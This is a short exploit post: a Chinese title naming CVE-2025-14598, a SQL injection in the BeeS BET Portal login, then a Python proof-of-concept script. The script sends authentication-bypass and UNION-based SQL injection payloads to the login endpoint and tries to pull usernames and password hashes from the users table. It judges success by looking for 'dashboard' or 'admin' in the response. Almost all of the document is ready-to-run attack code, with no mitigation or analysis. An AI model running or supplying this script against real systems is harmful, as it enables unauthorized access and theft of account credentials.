CVE-2025-14598: BeeS BET Portal登录功能SQL注入漏洞

import requests import sys # CVE-2025-14598 PoC - BeeS BET Portal SQL Injection # Target: /login or /authentication endpoint def exploit_sql_injection(target_url): """ SQL Injection PoC for CVE-2025-14598 Attempts to extract admin password hash via UNION-based injection """ # Login endpoint login_url = f"{target_url}/login" # SQL Injection payloads payloads = [ "admin' OR '1'='1", "admin' UNION SELECT 1,2,3,4,5-- -", "admin' UNION SELECT username,password,email,role,1 FROM users WHERE '1'='1", "' OR 1=1 --", "admin' OR '1'='1' --" ] headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)' } print(f"[*] Target: {target_url}") print(f"[*] CVE-2025-14598 SQL Injection PoC") print("=" * 50) for payload in payloads: data = { 'username': payload, 'password': 'any' } try: response = requests.post(login_url, data=data, headers=headers, timeout=10, verify=False) if 'dashboard' in response.text.lower() or 'admin' in response.text.lower(): print(f"[!] Potential successful injection with payload: {payload}") print(f"[+] Response status: {response.status_code}") return True else: print(f"[*] Tested payload: {payload}") except requests.RequestException as e: print(f"[!] Request failed: {e}") print("[*] Manual verification may be required") return False if __name__ == "__main__": if len(sys.argv) > 1: target = sys.argv[1] else: target = "http://target-server.com/bet-portal" exploit_sql_injection(target)